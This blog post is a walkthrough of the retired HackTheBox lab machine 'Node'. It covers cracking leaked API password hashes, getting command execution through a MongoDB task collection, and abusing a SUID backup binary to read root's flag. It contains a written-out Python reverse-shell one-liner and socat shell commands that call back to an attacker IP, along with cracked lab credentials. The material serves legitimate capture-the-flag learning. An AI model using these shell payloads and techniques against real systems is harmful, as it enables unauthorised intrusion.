HacktheBox - Retied - Node
Recon
So I'm starting to use Threader3000 to do my recon scan, so far I really like this tool. It uses python to run threaded scans and then suggests nmap scans to run and outputs the results to xml
I convert the XML to HTML using xslprotc
Here is the output from the nmap scan it ran
Just two ports open ssh on 22 and a web server on 3000
Here is what is on port 3000 when we browse to it
Looks like a social media site.
I used owasp zap to run some scans against the site..
I tried dirbuster first but it gave some weird results, including this what looks like "U mad?" in the response it was sending to some of the requests.
But zaproxy found this
An API with what looks like some leaked creds
[{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},
{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},
{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]
I threw one into hashID and its says it might be a SHA-256 hash
So I saved them to a file named hash and threw it into hash cat with mode 1400 since its a sha-256
hashcat -m 1400 ./hashes.txt /usr/share/wordlists/rockyou.txt --force
We got two of the hashes back
So Tom's password looks like its spongebob
And Mark's is snowflake
And now we can login as tom
And mark
So I wonder what else we might find under /api/users. I loaded up wfuzz and threw it at it.
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt --hc 404 http://node.htb:3000/api/users/FUZZ
Looks like # is valid I sent a request in burp… and
We get back some other user names and possible password hashes
[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]
Let's throw these new hashes at hashcat and see if we can get some more creds.
So something to notice in the json…. myP14ceAdm1nAcc0uNT has is_admin set to true!
hashcat -m 1400 /home/circusmonkey/Desktop/HTB/node/hashes2.txt /usr/share/wordlists/rockyou.txt --force
And it looks like we were able to get the admin creds
manchester
Lets try to login and see if we can do anything else now.
Download backup you say?? Sure!
So what we ended up with here is a file name myplace.backup
File said the file is an ASCII file
I then ran strings against the file and got back what looks like a bunch of base64
So I did a base64 decode and save the results ast decode.txt
cat b64.txt | base64 -d > decode.txt
Now if we do file against this new decode.txt file we get this back
Looks like a zip file. I renamed my file to decode.zip and tried to extract it.
And of course it's password protected… have no fear we have fcrackzip for just this type of issue. I'll use rockyou.txt as the dictionary file
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt ./decode.zip
PASSWORD FOUND!!!!: pw == magicword
Now we can look around this backup to see if we can find a way to get a foothold on this machine
In the app.js here is the code that renders "U mad?"
Looky here at the top of that file
Mark 5AYRft73VtFpc84k @ localhost…..
I wonder if we can ssh with these creds ( I did already try the other admin account I found and it didn't work)
Exploit
Ssh mark@node.htb
But no user.txt for Mark… it looks like its under tom but we don't have rights to it.
So Let's use linpeas.sh to see if we can find our way to escalate to tom..
I used the python module SimpleHTTPServer to server the file over to node
Python -m SImpleHTTPServer 8080
THen on node I used wget to download it to a new folder i made in the /tmp directory
Wget http://10.10.14.13:8080/linpeas.sh
I saw a couple of potentially interesting things in the results
First there is mongo DB ( which we had already assumed from the file we found earlier with Mark's creds)
I had already tried to access the DB and got this error message
Not authorized. I tried not giving it a DB name and also the DB named myplace.. Same results
I also saw this in the linpeas.sh output
Tom is running two different app.js files… The one we already found in /myplace, but there is a second one in scheduler…… Which was not in the backup we got earlier.. Let's check it out.
Same creds but a different DB
And look here it looks like it looks in the db for a collection named tasks and it executes what it finds in there on the system… and since this is running as tom it should run under tom's account.
Now we just need to figure out if we are right here.. If we insert a cmd document in the tasks collection…
Before I walks down a shell path I'm just going to see if I can get a ping back from the node
I'll setup a listener on my kali box catch the pings.
First I need to brush up on mongodb
https://docs.mongodb.com/manual/reference/method/db.collection.insertOne/
db.products.insertOne( { item: "card", qty: 15 } );
So something like
db.tasks.insert( { "cmd": "ping 10.10.14.13 -c 5" } );
And on our lisenter we got our pings back so this is the correct syntax to get execution as (hopefully) tom
I'm going to try and use socat to get my reverse shell
I need to get it on node using SimpleHTTPServer and wget again.
Ok its now in my /tmp/circusmonkey directory with execute rights so I need to setup the listener on my kali box.
This blog walks you through these commands
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
socat file:`tty`,raw,echo=0 tcp-listen:4444
And now we modify our insert command from earlier
db.tasks.insert( { "cmd": "/tmp/circusmonkey/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.13:4444" } );
Well that didn't work it inserted the task and I think tried to fire but I didn't get my shell so I bounced out of mongo and tried running the command manually
So socat isn't going to work…
But this machine has netcat so we will start there I guess
Nope no netcat either
Ok what about python it seems to be installed too.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
And our initial test actually does connect back as mark so lets try to insert this into the DB
I first tried to insert it directly
db.tasks.insert( { "cmd": "
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'" } );
But got some errors inserting the record…. I assume because of the the double quotes escaping.
So I echoed this out ot a file
echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'" > RS.py
Now I just just insert /tmp/circusmonkey/RS.py…. hopefully
I had to edit this a bit in vi to get all the double quotes in the right place.
Eventually I could call it directly and get a reverse shell as mark so now lets try to insert this again so we can get a shell as tom.
db.tasks.insert( { "cmd": "python /tmp/circusmonkey/RS.py" } );
And after waiting a couple second we got our tom shell back!
Now we can get our flag and figure out the next step in privesc
Running linpeas as tom now we see this in the output
A SUID file named backup in /usr/local/bin/
Lets check it out
Its an elf file
I ran strings against it to see if we could find anything out
This looks promising. There is some base64 in here too..
I try to fire the executable but it doesn't seem to do anything… maybe it needs some arguments so I tried throwing some in there and eventually got it to fire
So it needs three arguments.
You remember the backup we got from when we logged into the admin account from the website.. I think this is the program that generated that base64 we got
Looking back at the app.js
We see
Which does look like it does use the same /backup to make the file
So we know it used -q , backup_key, __dirname
So that is the basic syntax for the command….
What is the backup_key?
Here it is in the app.js
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
But if its just one static key why did they not just declare it in the backup section of the code? Maybe more than one key exists?
So I guess we will try to backup /root and see what happens..
After I decoded the base64 and tried to unzip the file it seems corrupted and wouldn't unzip.. I remembered seeing something in strings
I wonder if they are filtering the backup process and not letting your do /root…..
So I just tried the process again using wildcards for
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt
Which did give me a different base64
UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWUoAy1l1eAsAAQQAAAAABAAAAADL325JA+U0co14a9dsyeLUTvY83TvjMkdgweAQQq2UJQodqU8zf0dpkeNzjs9QSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA
I decoded that to file name rootbackup.zip
Which dropped the root hash for us…
This box was a lot of layers. Super fun!
Comments
Post a Comment